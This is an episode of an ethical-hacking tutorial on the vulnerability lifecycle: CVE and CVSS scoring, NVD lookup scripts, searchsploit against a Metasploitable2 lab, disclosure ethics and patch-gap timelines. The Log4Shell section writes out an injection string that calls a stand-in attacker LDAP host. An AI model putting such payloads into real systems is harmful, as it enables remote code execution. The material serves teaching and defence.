Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
What will I learn
- The complete vulnerability lifecycle: discovery, disclosure, patching, exploitation;
- How CVE numbers work and how to read vulnerability databases;
- Responsible disclosure vs full disclosure vs zero-day markets -- the ethics and economics;
- Reading and understanding a security advisory and proof of concept;
- The patch gap -- why the window between disclosure and patching is the most dangerous time;
- How to set up vulnerability monitoring for your own systems.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2;
- Python 3 installed;
- The ambition to learn ethical hacking and security research.
Difficulty
- Beginner
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit (this post)
Solutions to Episode 9 Exercises
Exercise 1 -- IV reuse demonstration:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
import os
key = os.urandom(32)
# INSECURE: same IV for both messages
fixed_iv = os.urandom(16)
def encrypt_cbc(plaintext, key, iv):
padder = padding.PKCS7(128).padder()
padded = padder.update(plaintext) + padder.finalize()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
enc = cipher.encryptor()
return enc.update(padded) + enc.finalize()
m1 = b"Attack at dawn!!" # exactly 16 bytes
m2 = b"Attack at dusk!!"
c1_same_iv = encrypt_cbc(m1, key, fixed_iv)
c2_same_iv = encrypt_cbc(m2, key, fixed_iv)
# XOR first blocks
xor_same = bytes(a ^ b for a, b in zip(c1_same_iv[:16], c2_same_iv[:16]))
xor_plain = bytes(a ^ b for a, b in zip(m1[:16], m2[:16]))
print(f"Ciphertext XOR (same IV): {xor_same.hex()}")
print(f"Plaintext XOR: {xor_plain.hex()}")
print(f"They match: {xor_same == xor_plain}")
# With CBC, first block XOR reveals plaintext XOR when IV is reused!
# SECURE: different IV per message
c1_rand_iv = encrypt_cbc(m1, key, os.urandom(16))
c2_rand_iv = encrypt_cbc(m2, key, os.urandom(16))
xor_rand = bytes(a ^ b for a, b in zip(c1_rand_iv[:16], c2_rand_iv[:16]))
print(f"Ciphertext XOR (rand IV): {xor_rand.hex()}")
print(f"Matches plaintext XOR: {xor_rand == xor_plain}") # False!
The key insight: with the same IV, the first ciphertext blocks reveal the XOR of the plaintexts. If one plaintext is known (or partially known), the other can be recovered. With random IVs, the ciphertext XOR is meaningless. This is why IVs exist -- and why reusing them is a critical vulnerability even when the encryption algorithm itself is perfectly secure.
Exercise 2 -- Encrypted message exchange:
# sender.py
from cryptography.hazmat.primitives.asymmetric import rsa, padding as ap
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives import hashes, serialization
import os, json, base64
# Load receiver's public key
with open("receiver_pub.pem", "rb") as f:
pub_key = serialization.load_pem_public_key(f.read())
message = sys.argv[1].encode() if len(sys.argv) > 1 else b"Default secret message"
# Hybrid: RSA wraps AES key, AES-GCM encrypts payload
aes_key = AESGCM.generate_key(256)
nonce = os.urandom(12)
aesgcm = AESGCM(aes_key)
ciphertext = aesgcm.encrypt(nonce, message, None)
enc_aes_key = pub_key.encrypt(aes_key,
ap.OAEP(mgf=ap.MGF1(hashes.SHA256()), algorithm=hashes.SHA256(), label=None))
with open("message.enc", "w") as f:
json.dump({
'enc_key': base64.b64encode(enc_aes_key).decode(),
'nonce': base64.b64encode(nonce).decode(),
'ciphertext': base64.b64encode(ciphertext).decode()
}, f)
print(f"[+] Encrypted message saved to message.enc")
# receiver.py
from cryptography.hazmat.primitives.asymmetric import rsa, padding as ap
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives import hashes, serialization
import json, base64, sys, os
# Generate (or load) keypair
if not os.path.exists("receiver_priv.pem"):
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open("receiver_priv.pem", "wb") as f:
f.write(private_key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption()))
with open("receiver_pub.pem", "wb") as f:
f.write(private_key.public_key().public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo))
print("[+] Generated keypair")
sys.exit(0)
# Decrypt
with open("receiver_priv.pem", "rb") as f:
private_key = serialization.load_pem_private_key(f.read(), password=None)
with open("message.enc") as f:
pkg = json.load(f)
aes_key = private_key.decrypt(
base64.b64decode(pkg['enc_key']),
ap.OAEP(mgf=ap.MGF1(hashes.SHA256()), algorithm=hashes.SHA256(), label=None))
aesgcm = AESGCM(aes_key)
plaintext = aesgcm.decrypt(
base64.b64decode(pkg['nonce']),
base64.b64decode(pkg['ciphertext']), None)
print(f"[+] Decrypted: {plaintext.decode()}")
The key insight: this is hybrid encryption in practice -- RSA protects the AES key, AES-GCM protects the message. Tampering with any byte of the encrypted file causes InvalidTag exception on decryption. The RSA operation is slow but only handles 32 bytes (the AES key). The AES-GCM operation is fast and handles the actual message of any size.
Exercise 3 -- TLS certificate inspection:
$ openssl s_client -connect hive.blog:443 -brief
CONNECTION ESTABLISHED
Protocol version: TLSv1.3
Ciphersuite: TLS_AES_256_GCM_SHA384
Verification: OK
$ openssl s_client -connect expired.badssl.com:443 -brief
CONNECTION ESTABLISHED
Protocol version: TLSv1.2
Verification error: certificate has expired
Expired certificates are a security risk because:
1. No guarantee the key hasn't been compromised since expiry
2. CA may have revoked it (revocation checks may fail for expired certs)
3. Indicates poor maintenance -- if they can't renew a cert, what else
are they neglecting?
The key insight: TLS certificate expiration isn't arbitrary bureaucracy -- it forces regular key rotation and re-verification of domain ownership. Let's Encrypt made free certificates standard with 90-day expiry, removing every excuse for expired certs.
Learn Ethical Hacking (#10) - The Vulnerability Lifecycle
We've reached the end of Arc 1. Over nine episodes you've built a hacking lab, understood how network protocols expose information, scanned networks with Nmap, explored social engineering and password cracking, and learned the crypto basics that underpin everything from HTTPS to blockchain transactions. Before we move into attacking specific vulnerability classes, there's one more critical concept you need: how vulnerabilities are born, how they live, and how they die.
This is the glue that connects everything. You can find an open port (episode 5). You can identify the service version running on it. But then what? How do you know if that version is vulnerable? How do you find the exploit? How do you assess whether the vendor has patched it? How long has the patch been available -- and did the target actually install it?
Understanding the vulnerability lifecycle is what separates someone who can run exploits from someone who can find them, assess them, and respond to them professionally. Every pentester, every bug bounty hunter, every security engineer works within this lifecycle daily. Laten we er eens goed naar kijken.
The Lifecycle
Every vulnerability follows roughly the same path from birth to (hopefully) death:
Discovery --> Disclosure --> Patch Development --> Patch Release --> Adoption
| | | | |
v v v v v
Someone finds Vendor is Vendor builds Patch becomes Users actually
the bug notified and tests fix available install it
(or not)
^ ^
EXPLOIT PUBLISHED MASS EXPLOITATION
(often here) (often here)
The dangerous periods are well-defined and each has its own characteristics:
Zero-day (before public discovery): The vulnerability exists in deployed software but nobody outside the discoverer knows about it. If the discoverer is a nation-state intelligence agency or a criminal organization, they have unlimited time to exploit it silently. The target doesn't know they're vulnerable, so they can't defend against it. Zero-days are the nuclear weapons of cyber warfare -- rare, expensive, devastating when deployed, and heavily stockpiled by governments. The name comes from the fact that the vendor has had zero days to fix it.
Disclosure to patch: The vendor knows about the bug but hasn't fixed it yet. If the disclosure was public (full disclosure, or a leak), attackers know too. This is a race. Every day without a patch is a day the vulnerability is exploitable by anyone who reads the advisory. Responsible disclosure gives vendors 90 days (the industry standard, established by Google's Project Zero). Some vendors fix it in days. Some take months. Some never fix it at all.
Patch to adoption: The fix exists but users haven't installed it. This is where MOST real-world exploitation happens. Not zero-days. Not novel attacks. Just known, patched vulnerabilites that organizations haven't bothered to update. The Equifax breach we discussed in episode 1 happened here -- the Apache Struts patch was available for over two months before the breach. Two months of a known critical vulnerability sitting unpatched on a server containing 147 million Social Security numbers. Twee maanden.
CVE: The Universal Vulnerability Language
CVE (Common Vulnerabilities and Exposures) is a standardized numbering system for publicly known security vulnerabilities. When a researcher finds a bug and it gets confirmed, MITRE (the non-profit that maintains the system) assigns it a CVE ID in the format CVE-YYYY-NNNNN -- year of assignment and a sequence number.
Let's look at one we've already encountered in this series:
CVE-2011-2523 -- vsftpd 2.3.4 Backdoor Command Execution
Description: vsftpd 2.3.4 was distributed with a backdoor inserted
into the source code. When a user connects and sends a username
containing the characters ":)" (smiley face), a shell listener is
opened on port 6200.
CVSS Score: 10.0 (Critical)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Impact: Complete compromise -- root shell access
If you remember from episodes 2 and 5, we found this exact service running on our Metasploitable2 VM. Now you know its CVE number and severity score. That CVSS score (Common Vulnerability Scoring System) rates severity from 0 to 10:
| Score | Severity | Example |
|---|---|---|
| 0.0 | None | Informational finding |
| 0.1-3.9 | Low | Information disclosure, minor DoS |
| 4.0-6.9 | Medium | Authenticated SQL injection, stored XSS |
| 7.0-8.9 | High | Unauthenticated RCE with limited impact |
| 9.0-10.0 | Critical | Unauthenticated RCE as root, wormable |
The CVSS score is calculated from several metrics: attack vector (network, adjacent, local, physical), attack complexity (low, high), privileges required (none, low, high), user interaction (none, required), and three impact metrics (confidentiality, integrity, availability). A network-accessible, low-complexity, no-privilege, no-interaction vulnerability that gives full system compromise scores 10.0. That's our vsftpd backdoor.
Having said that, CVSS scores don't tell the whole story. A CVSS 6.5 SQL injection in a payment processing system is arguably more dangerous than a CVSS 9.8 RCE on a test server that faces no real traffic. Context matters. The score measures technical severity, not business risk. Good vulnerability management programs use CVSS as a starting point and then adjust based on asset value, exposure, and exploitability.
Reading Vulnerability Databases
The main databases you'll use daily as a security professional:
NVD (National Vulnerability Database): nvd.nist.gov -- the US government's comprehensive CVE database with CVSS scores, affected versions, references, and CPE (Common Platform Enumeration) identifiers for matching software.
MITRE CVE: cve.mitre.org -- the authority that assigns CVE numbers. More sparse than NVD but always the canonical source.
Exploit-DB: exploit-db.com -- archive of public exploits and proof-of-concept code, searchable by CVE. This is where you go to find out if a vulnerability has working exploit code available. On Kali, searchsploit is the offline mirror.
GitHub Advisory Database: github.com/advisories -- particularly useful for open-source dependency vulnerabilities. If you're auditing a web application and want to know if its NPM/pip/cargo dependencies have known vulns, this is invaluable.
Let's query the NVD programmatically. This is the kind of tool you'd build into your workflow -- automated vulnerability intelligence instead of manually browsing web pages:
#!/usr/bin/env python3
"""
CVE lookup tool -- queries the NVD API for vulnerability details.
"""
import requests
import sys
import json
def lookup_cve(cve_id):
"""Query NVD API for a specific CVE."""
url = f"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve_id}"
resp = requests.get(url, timeout=15)
if resp.status_code != 200:
print(f"[-] API returned {resp.status_code}")
return
data = resp.json()
if not data.get('vulnerabilities'):
print(f"[-] {cve_id} not found")
return
vuln = data['vulnerabilities'][0]['cve']
desc = vuln['descriptions'][0]['value']
# Extract CVSS score (try v3.1 first, fall back to v3.0, then v2)
score = "N/A"
severity = "Unknown"
metrics = vuln.get('metrics', {})
for version in ['cvssMetricV31', 'cvssMetricV30', 'cvssMetricV2']:
if version in metrics:
cvss_data = metrics[version][0]['cvssData']
score = cvss_data['baseScore']
severity = cvss_data.get('baseSeverity', 'Unknown')
break
print(f"CVE: {cve_id}")
print(f"CVSS Score: {score} ({severity})")
print(f"Description: {desc[:300]}")
# References
refs = vuln.get('references', [])
if refs:
print(f"\nReferences:")
for ref in refs[:5]:
tags = ', '.join(ref.get('tags', []))
print(f" - {ref['url']}")
if tags:
print(f" Tags: {tags}")
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python3 cve_lookup.py CVE-YYYY-NNNNN")
sys.exit(1)
lookup_cve(sys.argv[1])
# Look up the vsftpd backdoor
python3 cve_lookup.py CVE-2011-2523
# The Equifax breach (Apache Struts)
python3 cve_lookup.py CVE-2017-5638
# Log4Shell -- the big one
python3 cve_lookup.py CVE-2021-44228
# Samba usermap (also on Metasploitable2)
python3 cve_lookup.py CVE-2007-2447
The NVD API is free but rate-limited. For production use, you'd want an API key (also free, just requires registration) which increases the rate limit from 5 to 50 requests per 30-second window. For a pentester checking a handful of CVEs during an engagement, the unauthenticated limit is plenty.
Searchsploit: Offline Exploit Search
On Kali, searchsploit is the command-line interface to Exploit-DB's offline database. It's one of the most useful tools you'll use daily because it answers the critical question: does a public exploit exist for this vulnerability?
# Search by service name and version
searchsploit vsftpd 2.3.4
# Returns: vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
# Search by CVE
searchsploit --cve CVE-2007-2447
# Returns: Samba 3.0.20 - Username Map Script Command Execution
# Search for Apache Struts
searchsploit apache struts
# Returns multiple results for different Struts versions
# Copy exploit to current directory for review
searchsploit -m exploits/unix/remote/49757.py
# Read the exploit code (ALWAYS read before running!)
cat 49757.py
Never run exploits you haven't read. This is both a safety rule and a professional practice. Some Exploit-DB entries are intentionally broken, contain errors, or even include malicious payloads targeting the user (the aspiring hacker who downloads and runs unknown code). Always read the source, understand what it does, and test in your lab first.
searchsploit is also incredibly useful for the Metasploitable2 exercises we've been doing throughout this series. In episode 5, we identified services and versions with Nmap. Now we can cross-reference those findings against known exploits:
# From our Episode 5 Nmap results:
searchsploit vsftpd 2.3 # FTP server
searchsploit openssh 4.7 # SSH
searchsploit apache 2.2.8 # Web server
searchsploit samba 3.0.20 # File sharing
searchsploit unrealircd # IRC server
searchsploit mysql 5.0 # Database
searchsploit postgresql 8.3 # Database
Each of these returns known exploits. That's the difference between finding an open port and finding an exploitable open port -- the vulnerability database is what bridges that gap.
Responsible Disclosure vs Full Disclosure
When a researcher finds a vulnerability, they face a genuine ethical dilemma. There are three main paths:
Responsible Disclosure (Coordinated Disclosure): Report privately to the vendor. Give them a reasonable timeframe (90 days is the industry standard, popularized by Google's Project Zero) to develop and release a fix. Only publish details after the patch is available. This is the professional standard and what bug bounty programs expect. Most security researchers follow this path because it protects users while still ensuring the vulnerability gets fixed.
Full Disclosure: Publish the vulnerability publicly without contacting the vendor first, or after the vendor fails to respond within a reasonable timeframe. This is controversial. The argument FOR: it forces vendors to patch immediately instead of sitting on known bugs for months. Some vendors have historically ignored private reports for years until public pressure forced action. The argument AGAINST: it gives attackers a weaponizable exploit before most users can patch. The "full-disclosure" mailing list was one of the first venues for this in the late 1990s, and the debate hasn't been settled since.
Zero-Day Market: Sell the vulnerability to the highest bidder -- which could be a government intelligence agency, a defense contractor, a surveillance company, or a criminal organization. A remote code execution zero-day in iOS can sell for $2-5 million on the broker market. Chrome zero-days go for $500K+. Windows kernel zero-days fetch $300K-1M.
The economics are real and deeply uncomfortable:
Vendor bug bounty: $500 - $250,000 (Google, Apple, Microsoft)
Zero-day broker: $100,000 - $2,500,000 (Zerodium, government buyers)
Criminal market: varies wildly, lower quality
A researcher who discovers a critical iOS zero-day faces a concrete financial choice: $200,000 from Apple's bug bounty, or potentially $2,000,000 from a zero-day broker who will sell it to a government. The researcher does the ethically right thing at a personal cost of $1.8 million. Some do. Many do, actually -- the security research community has a strong ethical culture. But some don't, and you can't really blame them when the incentive gap is that wide.
This creates a market failure that the industry hasn't solved. Bug bounty payouts have increased dramatically (Google paid out $10 million in bounties in 2023 alone), but they still can't compete with broker prices for the most critical findings. The economics push the rarest and most dangerous vulnerabilities towards governments and away from public disclosure. Geld praat, zoals altijd.
The Patch Gap: Where Most Exploitation Actually Happens
Here's the thing that surprises most people when they start learning security: the vast majority of successful exploitations target KNOWN, PATCHED vulnerabilities. Not zero-days. Not sophisticated new attacks. Known bugs with available patches that organizations just haven't installed yet.
The window between "patch available" and "patch deployed across all affected systems" is called the patch gap, and it's where attackers consistenly win. Let's look at the timelines for some of the most devastating vulnerabilities in recent history:
Log4Shell (CVE-2021-44228):
- Nov 24, 2021: Alibaba Cloud Security reports to Apache (private)
- Dec 9, 2021: Proof of concept published on Github
- Dec 10, 2021: Mass exploitation begins (within 24 HOURS of PoC)
- Dec 13, 2021: Apache releases patched Log4j 2.16.0
- Jan 2022+: Organizations still patching -- some took MONTHS
Log4Shell was a 10.0 CVSS nightmare because of what it could do: any application using Log4j (which was basically everything in the Java ecosystem) could be compromised by sending a single crafted string. An attacker types ${jndi:ldap://evil.com/payload} into a search box, a chat message, a user-agent header -- literally any input field that gets logged -- and the server connects back to the attacker's LDAP server and executes arbitrary code. Remote code execution, no authentication, no user interaction, trivially exploitable. It affected hundreds of millions of devices. The scanning and exploitation started within hours of the PoC going public.
EternalBlue (CVE-2017-0144):
- Mar 14, 2017: Microsoft releases patch (MS17-010)
- Apr 14, 2017: Shadow Brokers publish stolen NSA exploit toolkit
- May 12, 2017: WannaCry ransomware uses EternalBlue -- infects 230,000+ computers in 150 countries
- Two months between patch and mass exploitation. Organizations that patched were safe. Organizations that didn't got ransomwared.
Apache Struts (CVE-2017-5638 -- the Equifax breach):
- Mar 6, 2017: Patch released by Apache
- Mar 7, 2017: Exploit published publicly (ONE DAY after patch)
- May-Jul 2017: Equifax breached (147 million records, SSNs, birth dates, addresses)
- Over two months of ignoring a critical patch on a public-facing server
The pattern is painfully consistent: patches are released, exploits follow within days (often reverse-engineered FROM the patch -- attackers diff the before and after to find exactly what was fixed), mass exploitation within weeks, and organizations take months to deploy the patches. The defenders race the attackers. The attackers usually win, not because they're faster, but because defenders are slower.
Why is patching so slow? Because in enterprise environments, patches need to be tested against production workloads, change management boards need to approve downtime windows, legacy applications have compatibility concerns, and nobody wants to be the person whose "security patch" broke the revenue-generating application at 2 AM on a Saturday. These are real operational constraints. They're also exactly what attackers count on ;-)
Building a Vulnerability Monitor
Let's build a practical tool that brings together concepts from multiple episodes. This script takes your Nmap scan results from episode 5 and cross-references them against a known vulnerability database:
#!/usr/bin/env python3
"""
Simple vulnerability monitor -- checks known service versions against CVE database.
For lab use; production systems should use dedicated vulnerability scanners.
"""
import requests
import json
import sys
# Known vulnerable versions from our Metasploitable2 scans (Episode 5)
LAB_SERVICES = {
'vsftpd 2.3.4': {
'cves': ['CVE-2011-2523'],
'severity': 'CRITICAL',
'note': 'Source code backdoor, root shell on port 6200'
},
'OpenSSH 4.7p1': {
'cves': ['CVE-2008-5161', 'CVE-2008-1483'],
'severity': 'HIGH',
'note': 'Multiple vulnerabilities including CBC plaintext recovery'
},
'Apache 2.2.8': {
'cves': ['CVE-2011-3192', 'CVE-2010-0425'],
'severity': 'HIGH',
'note': 'Range header DoS, mod_isapi dangling pointer'
},
'MySQL 5.0.51a': {
'cves': ['CVE-2008-4098', 'CVE-2009-2446'],
'severity': 'HIGH',
'note': 'Privilege escalation, format string vulnerabilities'
},
'PostgreSQL 8.3': {
'cves': ['CVE-2009-3229', 'CVE-2010-0442'],
'severity': 'MEDIUM',
'note': 'DoS via hash index on text column, privilege escalation'
},
'Samba 3.0.20': {
'cves': ['CVE-2007-2447'],
'severity': 'CRITICAL',
'note': 'Username map script command injection -- remote root shell'
},
'UnrealIRCd': {
'cves': ['CVE-2010-2075'],
'severity': 'CRITICAL',
'note': 'Backdoor in distribution tarball, remote code execution'
},
}
def check_services():
"""Report known CVEs for lab services."""
print("[*] Vulnerability Report for Metasploitable2 Lab Services")
print("=" * 65)
total_cves = 0
critical = 0
high = 0
medium = 0
for service, info in LAB_SERVICES.items():
sev = info['severity']
print(f"\n {service} [{sev}]")
print(f" Note: {info['note']}")
for cve in info['cves']:
total_cves += 1
print(f" [!] {cve}")
if sev == 'CRITICAL':
critical += 1
elif sev == 'HIGH':
high += 1
elif sev == 'MEDIUM':
medium += 1
print(f"\n{'=' * 65}")
print(f"[*] Total known CVEs: {total_cves}")
print(f"[*] Services checked: {len(LAB_SERVICES)}")
print(f"[*] Critical: {critical} | High: {high} | Medium: {medium}")
print(f"\n[!] This is Metasploitable2 -- ALL of these are intentionally")
print(f" vulnerable. In production: each would be a critical finding")
print(f" requiring immediate remediation.")
def lookup_single_cve(cve_id):
"""Query NVD for a single CVE and print details."""
url = f"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve_id}"
try:
resp = requests.get(url, timeout=15)
if resp.status_code == 200:
data = resp.json()
if data.get('vulnerabilities'):
vuln = data['vulnerabilities'][0]['cve']
desc = vuln['descriptions'][0]['value']
print(f" {cve_id}: {desc[:120]}...")
except requests.exceptions.RequestException:
print(f" {cve_id}: (NVD lookup failed -- check network)")
if __name__ == '__main__':
check_services()
if '--lookup' in sys.argv:
print(f"\n[*] Fetching details from NVD (this may take a moment)...")
for service, info in LAB_SERVICES.items():
print(f"\n {service}:")
for cve in info['cves']:
lookup_single_cve(cve)
# Basic report
python3 vuln_monitor.py
# With NVD lookups (slower, queries the API)
python3 vuln_monitor.py --lookup
In the real world, you'd integrate this with your Nmap scan results automatically -- parse the XML output from nmap -oX, extract service versions, and query vulnerability databases. Dedicated tools like Nessus, OpenVAS, and Qualys do this at enterprise scale with tens of thousands of vulnerability checks. But understanding the mechanics is what matters. When you run Nessus and it reports "CVE-2021-44228: Critical" next to your Log4j instance, you now understand exactly what that means, where that data comes from, and why the patch gap makes it dangerous.
Vulnerability Disclosure in Practice: A Real Timeline
Let's trace through a real vulnerability disclosure to see how the process works end-to-end. We'll use a well-documented example: CVE-2023-44487, the HTTP/2 Rapid Reset attack.
Aug 2023: Google observes unusual traffic patterns against their
infrastructure -- DDoS attacks reaching 398M rps
Aug-Sep 2023: Google, Cloudflare, and AWS independently identify the
same HTTP/2 protocol-level vulnerability being exploited
Oct 3, 2023: MITRE assigns CVE-2023-44487
Oct 10, 2023: Coordinated disclosure -- Google, Cloudflare, AWS all
publish blog posts simultaneously explaining the attack.
Patches for nginx, Apache, IIS, and major libraries
released the same day.
Oct-Nov 2023: Organizations scramble to patch HTTP/2 implementations.
The vulnerability affects essentially every web server
and reverse proxy in existence.
2024+: Some organizations STILL running unpatched HTTP/2 stacks
Notice the coordination. Three competing companies (Google, Cloudflare, AWS) worked together behind the scenes because the alternative -- uncoordinated disclosure -- would have been worse for everyone. This is responsible disclosure at its best: industry cooperation, coordinated timing, patches available on disclosure day. And STILL organizations took months to patch.
What This All Means for You
After ten episodes, you have the complete foundation:
- The game -- attackers need one way in, defenders must cover everything (Ep 1)
- The lab -- safe, isolated practice environments (Ep 2)
- The protocols -- what's visible on the wire and what's not (Ep 3)
- Reconnaissance -- finding targets without being detected (Ep 4)
- Scanning -- actively mapping what's running and which versions (Ep 5)
- AI slop -- why AI-generated code makes all of this worse (Ep 6)
- Passwords -- the weakest link in authentication (Ep 7)
- Social engineering -- attacking humans, not systems (Ep 8)
- Cryptography -- what protects data and how it breaks (Ep 9)
- Vulnerability lifecycle -- how bugs are born, disclosed, patched, and exploited (Ep 10)
That's the complete foundation. You know how networks work, how humans fail, how crypto protects (and breaks), and how the vulnerability ecosystem operates. You know how to find targets, identify services, look up CVEs, and check for public exploits. All the theory you need to start attacking specific vulnerability classes.
Starting next, we get our hands dirty with the actual web application vulnerabilities that make up the majority of real-world pentest findings. HTTP request manipulation, injection attacks, cross-site scripting -- the bugs that have been topping the OWASP Top 10 for two decades and show no signs of going away. Concepts like how browsers parse and interpret requests, the trust boundaries between client and server, and why input validation is both the simplest and most frequently broken security control.
Arc 2 begint. De handschoenen gaan uit.
Exercises
Exercise 1: Use the CVE lookup script from this episode (or the NVD web interface) to research three vulnerabilities from your Metasploitable2 full scan (Episode 5): CVE-2011-2523 (vsftpd), CVE-2010-2075 (UnrealIRCd), and CVE-2007-2447 (Samba). For each, document: the CVSS score, the attack vector, whether a Metasploit module exists (search searchsploit on Kali), and the remediation (which version fixes it). Which of the three would you exploit FIRST in a real engagement, and why?
Exercise 2: Write a Python script called patch_monitor.py that monitors a list of software names and versions (from a JSON config file) and checks the NVD API for any CVEs affecting those versions. The script should: (a) read a services.json file listing software/version pairs, (b) query the NVD API using the keywordSearch parameter, (c) output a summary showing which services have known vulnerabilities and their CVSS scores, (d) save the report as a markdown file. Run it against the services discovered in your Episode 5 Nmap scan.
Exercise 3: Research the Log4Shell vulnerability (CVE-2021-44228) in depth. Write a timeline from discovery to mass exploitation. Answer: (a) Why was this vulnerability so dangerous (what made it critical/10.0)? (b) How does the exploit work at a technical level (JNDI lookup + LDAP)? (c) Why were organizations still vulnerable months after the patch? (d) What defense-in-depth measures would have limited the impact even if Log4j wasn't patched? Write your findings in ~/lab-notes/log4shell-analysis.md.